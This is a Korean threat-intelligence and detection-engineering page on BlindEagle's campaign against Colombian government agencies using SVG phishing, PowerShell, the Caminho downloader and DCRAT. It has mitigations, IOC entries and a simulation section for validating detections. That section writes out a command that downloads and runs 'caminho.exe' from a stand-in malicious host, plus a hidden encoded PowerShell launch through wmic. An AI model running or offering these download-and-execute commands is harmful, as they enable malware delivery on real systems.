블라인드이글, 카민호와 DCRAT으로 콜롬비아 정부 기관 겨냥
Detection stack
- AIDR
- Alert
- ETL
- Query
요약
BlindEagle는 콜롬비아 정부 기관을 겨냥한 스피어 피싱 작전을 수행하여, 자바스크립트에서 파워셸 실행 체인을 시작하는 무기화된 SVG 첨부파일을 전달했습니다. 그 일련의 과정을 통해 Caminho라는 다운로드 프로그램을 내려받았고, 이후 디스코드호스팅 오픈소스 DCRAT 원격 액세스 트로이 목마를 가져왔습니다. 최종 단계에서는 MSBuild.exe를 프로세스 할로잉하여 여러 회피 방법을 적용하여 탐지를 줄였습니다.
조사
Zscaler ThreatLabz는 감염 흐름을 분석하고 SVG 밀반입 접근, 다층의 난독화된 자바스크립트, WMI로 유발된 파워셸 명령, 디스코드 호스팅 URL을 통한 Caminho 전달 등을 보고했습니다. 조사결과는 스웨덴 IP 주소와 동적 DNS 제공업체(ydns.eu).
완화
수신 이메일 첨부파일, 특히 SVG 콘텐츠에 대해 더 엄격한 통제를 적용하고, 내장 스크립트에 대해 콘텐츠 무장해제 검사도 시행합니다. 웹 프록시 정책을 사용하여 디스코드 파일 URL과 같은 의심스러운 파일 호스팅 엔드포인트에 대한 접근을 제한합니다. 비정상적인 파워셸 및 WMI 실행 패턴을 모니터링하고, MSBuild.exe 사용을 포함한 응용프로그램 허용리스트 정책을 시행합니다.
대응
악성 SVG 아티팩트, 참조된 자바스크립트 파일 이름, 디스코드 URL에 도달하는 다운로드에 대해 알림을 트리거합니다. Caminho 및 DCRAT의 메모리 내 또는 디스크 내 흔적, MSBuild.exe 프로세스 할로잉의 증거, 레지스트리 변경 또는 예약 작업을 통한 지속성을 사냥합니다. 영향을 받은 엔드 포인트를 격리하고 식별된 C2 도메인을 차단합니다.
공격 흐름
탐지
의심스러운 파워셸 문자열 (파워셸 통해)
보기
LOLBAS WScript / CScript (프로세스 생성 통해)
보기
비정상적인 프로세스로 해결된 가능성 있는 인터넷 아카이브 (dns_query 통해)
보기
파워셸에서 의심스러운 .NET 메서드 호출 (파워셸 통해)
보기
탐지용 IOC (HashMd5): Caminho 및 DCRAT으로 콜롬비아 정부 기관을 대상으로 한 BlindEagle
보기
탐지용 IOC (SourceIP): Caminho 및 DCRAT으로 콜롬비아 정부 기관을 대상으로 한 BlindEagle
보기
탐지용 IOC (HashSha1): Caminho 및 DCRAT으로 콜롬비아 정부 기관을 대상으로 한 BlindEagle
보기
탐지용 IOC (HashSha256): Caminho 및 DCRAT으로 콜롬비아 정부 기관을 대상으로 한 BlindEagle
보기
탐지용 IOC (DestinationIP): Caminho 및 DCRAT으로 콜롬비아 정부 기관을 대상으로 한 BlindEagle
보기
WMI를 활용한 BlindEagle 파워셸 명령 탐지 [Windows Powershell]
보기
시뮬레이션 실행
필수조건: 원격 감시 및 기준선 검사 프리플라이트 체크가 통과해야 합니다.
배경: 이 섹션은 탐지 규칙을 유발하도록 설계된 적의 기술 (TTP)의 정확한 실행을 상세히 설명합니다. 명령 및 서사는 식별된 TTP를 직접 반영해야 하며, 탐지 논리에 의해 기대되는 정확한 텔레메트리를 생성하는 것을 목표로 합니다.
-
공격 서사 및 명령:
위협 행위자(BlindEagle)는 WMI를 사용하여 파워셸 프로세스를 스폰하고 원격 C2 서버에서 “Caminho” 페이로드를 다운로드하여 메모리 내에서 실행합니다. 이를 활용하여wmic.exe를process call create메소드와 함께 사용하면 사용자가 세션에 상호작용하지 않고 파워셸을 실행할 수 있어 활동이 은밀하게 진행됩니다. 명령 줄에는 탐지 규칙의 조건을 충족시키는 ‘powershell’이라는 단어가 포함되어 있습니다.-
1단계 – 악성 파워셸 원라이너 준비:
$url = "http://malicious.example.com/caminho.exe" $out = "$env:TEMPcaminho.exe" Invoke-WebRequest -Uri $url -OutFile $out; PowerShell -ExecutionPolicy Bypass -File $out -
2단계 – WMI를 통해 실행:
$psCmd = 'powershell -nop -w hidden -enc <base64-encoded-payload>' wmic process call create "$psCmd"
의 존재
powershell은 Sysmon 이벤트 1의CommandLine필드에 의해 생성된wmic자식 프로세스로 인해 규칙을 유발합니다. -
-
회귀 테스트 스크립트:
# BlindEagle WMI를 통한 파워셸 시뮬레이션 # ---------------------------------------------------------------------- # 1. 악성 페이로드 정의 (테스트에서는 무해한 echo 명령 사용) $payload = 'Write-Host "Simulated Caminho execution"' $encoded = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($payload)) # 2. 'powershell'이라는 말이 포함된 파워셸 명령 줄을 빌드합니다 $psCommand = "powershell -NoProfile -EncodedCommand $encoded" # 3. Sysmon EventID 1을 생성하기 위해 WMI (wmic)를 통해 명령 실행 $wmicCommand = "wmic process call create `"$psCommand`"" Write-Host "Executing via WMI: $wmicCommand" Invoke-Expression $wmicCommand # 4. 선택 사항: 확인을 위해 콘솔에 로그 Write-Host "Simulation complete. Verify detection in SIEM." -
정리 명령:
# 임시 파일 제거 (이 시뮬레이션에서는 생성되지 않음) # 테스트를 위해 시작된 모든 잔여 wmic 또는 파워셸 프로세스를 종료합니다 Get-Process -Name wmic, powershell -ErrorAction SilentlyContinue | Stop-Process -Force Write-Host "Cleanup complete."